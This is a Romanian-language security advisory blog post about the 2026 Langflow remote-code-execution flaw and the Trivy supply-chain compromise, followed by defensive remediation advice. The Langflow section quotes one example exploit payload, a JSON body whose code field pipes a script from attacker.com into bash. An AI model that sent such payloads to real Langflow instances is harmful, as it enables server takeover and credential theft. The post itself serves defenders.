Două unelte, o săptămână, zero scuze
Între 25 și 26 martie 2026, CISA a adăugat în catalogul Known Exploited Vulnerabilities două unelte pe care cele mai multe echipe AI le folosesc zilnic: Langflow, framework-ul vizual pentru construit pipeline-uri AI, și Trivy, scannerul de containere și artefacte care rulează în practic orice pipeline CI/CD care atinge containere. Nu modelele. Nu datele de antrenare. Uneltele cu care construiești și livrezi sisteme AI.
CVE-2026-33017 le-a dat atacatorilor execuție de cod la distanță, fără autentificare, pe orice instanță Langflow expusă. Exploatarea a început în mai puțin de 20 de ore de la publicare. CVE-2026-33634 a transformat infrastructura oficială de release a Trivy într-o armă de furat credențiale prin lanțul de aprovizionare, după ce un grup numit TeamPCP a otrăvit simultan GitHub Actions, imaginile din Docker Hub și binarele de release.
Dacă echipa ta AI folosește Langflow pentru prototipuri sau Trivy pentru scanare, ai avut cam o zi până să bată atacatorii la ușă. Asta e starea securității uneltelor AI în 2026.
Langflow: același apel exec(), de două ori
Partea care ar trebui să te îngrijoreze mai mult decât orice CVE luat separat: Langflow a fost lovit de două ori prin același tipar de fond.
În mai 2025, CVE-2025-3248 a exploatat endpointul /api/v1/validate/code din Langflow. Vulnerabilitatea? Funcția exec() din Python rula cod trimis de utilizator, fără autentificare. CISA a pus-o în KEV. Langflow a reparat-o în versiunea 1.3.0.
Zece luni mai târziu, CVE-2026-33017 a lovit alt endpoint (/api/v1/build_public_tmp/{flow_id}/flow) cu aceeași problemă de fond: cod Python controlat de atacator, executat pe server fără sandbox. CVSS 9.3. Din nou în CISA KEV.
Iar echipa de cercetare în securitate de la JFrog a descoperit că versiunea 1.8.2, raportată pe scară largă ca reparată, rămâne exploatabilă.
Tiparul e limpede: dacă repari endpoint cu endpoint, nu repari o problemă de arhitectură. Când designul de bază al aplicației presupune executarea de cod arbitrar venit din exterior, fiecare funcție nouă deschide o nouă suprafață de atac. Fixul pentru CVE-2025-3248 a adăugat autentificare pe un singur endpoint. Nu a atins faptul că operația de bază a aplicației, construirea fluxurilor din definițiile utilizatorilor, cere execuție de cod.
# The pattern that keeps breaking Langflow:
# User-supplied flow data → AST parse → compile → exec()
# Authentication fixes one endpoint. The architecture stays vulnerable.
# What attackers sent to /api/v1/build_public_tmp/{flow_id}/flow:
{
"nodes": [{
"data": {
"node": {
"template": {
"code": {
"value": "__import__('os').system('curl attacker.com/shell.sh | bash')"
}
}
}
}
}]
}Trivy: scannerul tău de securitate a devenit amenințarea
Compromiterea Trivy e alt tip de problemă și, în unele privințe, mai gravă.
Pe 19 martie 2026, TeamPCP a mutat forțat 76 din cele 77 de taguri de versiune din aquasecurity/trivy-action ca să arate spre commituri malițioase. A publicat un release Trivy v0.69.4 cu troian. Codul malițios rula înaintea scanării legitime, așa că pipeline-urile arătau normal în timp ce credențialele erau scoase pe ascuns.
Cauza? Credențiale care nu fuseseră revocate complet după un incident de securitate anterior. Aqua Security a confirmat că izolarea de atunci fusese incompletă și lăsase acces rezidual la infrastructura de release.
Gândește-te la ce acces are Trivy într-un pipeline obișnuit: credențiale de cloud, tokenuri Kubernetes, chei SSH, autentificarea la registrul de containere și orice secret pe care îl atinge sistemul tău CI/CD. Rulează la fiecare PR, la fiecare merge, la fiecare deploy. Compromiți scannerul și nu iei doar codul. Iei cheile întregii infrastructuri.
Nu a fost teorie. Kaspersky a confirmat că TeamPCP a vizat în aceeași campanie și Checkmarx KICS și LiteLLM. Trei unelte pentru dezvoltatori, o singură operațiune coordonată.
De ce contează dincolo de patch-uri
Cele mai multe echipe de securitate tratează uneltele AI ca pe orice alt software: pui patch când apare un CVE și treci mai departe. Abordarea asta eșuează aici din trei motive.
Primul: uneltele AI au risc de arhitectură. Langflow, prin design, execută codul pe care i-l dau utilizatorii. LiteLLM rutează prompturi între furnizori, deci ține credențialele pentru fiecare API de LLM pe care îl folosești. Uneltele astea nu sunt periculoase din întâmplare. Funcția lor de bază cere privilegii ridicate și execuție de cod.
Al doilea: suprafața de atac crește cu fiecare integrare. Fiecare server MCP nou, fiecare unealtă LangChain nouă, fiecare conector de pipeline RAG adaugă încă un loc unde input nesigur întâlnește execuția de cod. Criza OpenClaw a confirmat-o: unul din cinci pachete din registrul ClawHub era malițios. Ecosistemele de agenți AI repetă greșelile de lanț de aprovizionare din npm și PyPI, dar cu unelte care au mult mai mult acces.
Al treilea: obligațiile tale de conformitate acoperă și asta. Articolul 15 din EU AI Act cere ca sistemele AI cu risc ridicat să fie „rezistente la încercările unor terți neautorizați de a le modifica utilizarea, rezultatele sau performanța prin exploatarea vulnerabilităților sistemului". O instanță Langflow care îți construiește pipeline-ul AI de producție și poate fi exploatată prin HTTP neautentificat nu e rezistentă. Un scanner Trivy care scoate credențiale din pipeline-ul de deploy nu e robust. Nu sunt cazuri-limită pe care responsabilii de conformitate să le dea la o parte. Sunt exact scenariile pe care articolul 15 a fost scris să le prevină.
Ce faci săptămâna asta
Dacă folosești Langflow: treci la versiunea 1.9.0 sau mai nouă. Nu te baza pe 1.8.2. Verifică dacă vreo instanță Langflow e expusă la internet fără autentificare. Dacă da, pornește de la ideea că a fost compromisă și rotește toate credențialele la care a avut acces.
Dacă folosești Trivy: fixează versiunea pe v0.69.3 sau mai veche. Compară SHA-ul commitului trivy-action cu hash-urile cunoscute ca sigure. Rotește toate secretele disponibile pipeline-urilor CI/CD între 19 și 26 martie.
Dincolo de patch-urile imediate:
- Fă inventarul uneltelor AI. Listează fiecare unealtă din pipeline-ul de dezvoltare și deploy AI. Langflow, LangChain, LlamaIndex, vLLM, Trivy, ce folosești. Află la ce are acces fiecare.
- Fixează dependențele după hash, nu după tag. Tagurile care se pot muta au făcut posibil atacul pe Trivy. Fixează GitHub Actions după SHA-ul commitului. Fixează imaginile de container după digest.
- Izolează uneltele AI de dezvoltare de secretele de producție. Mediul de prototipare nu ar trebui să aibă acces la credențialele de producție. Instanțele Langflow pentru experimente ar trebui să ruleze în medii izolate, fără ieșire în rețea.
- Monitorizează traficul de ieșire neobișnuit de pe runnerele CI/CD. Codul malițios din Trivy a trimis credențialele în afară. Monitorizarea rețelei pe infrastructura de build l-ar fi prins.
Uneltele sunt noul perimetru
Am petrecut ani securizând modelele împotriva prompt injection și a inputurilor adversariale. Munca aia contează. Dar cât timp ne-am uitat la stratul de model, atacatorii au mers pe infrastructura de dedesubt: uneltele care construiesc, testează, scanează și pun în producție sisteme AI.
Două intrări în CISA KEV într-o săptămână, amândouă pe unelte de dezvoltare AI, nu sunt o coincidență. Sunt un tipar. Următorul Langflow sau Trivy e deja în pipeline-ul tău. Întrebarea e dacă îl găsești tu înaintea unui atacator.
Dacă construiești sisteme AI în producție și nu ai auditat securitatea uneltelor de dezvoltare, acolo începi. Nu trimestrul viitor. Săptămâna asta.
Despre DeviDevs: construim platforme de ML și sisteme AI securizate și ajutăm firmele să se conformeze cu EU AI Act. devidevs.com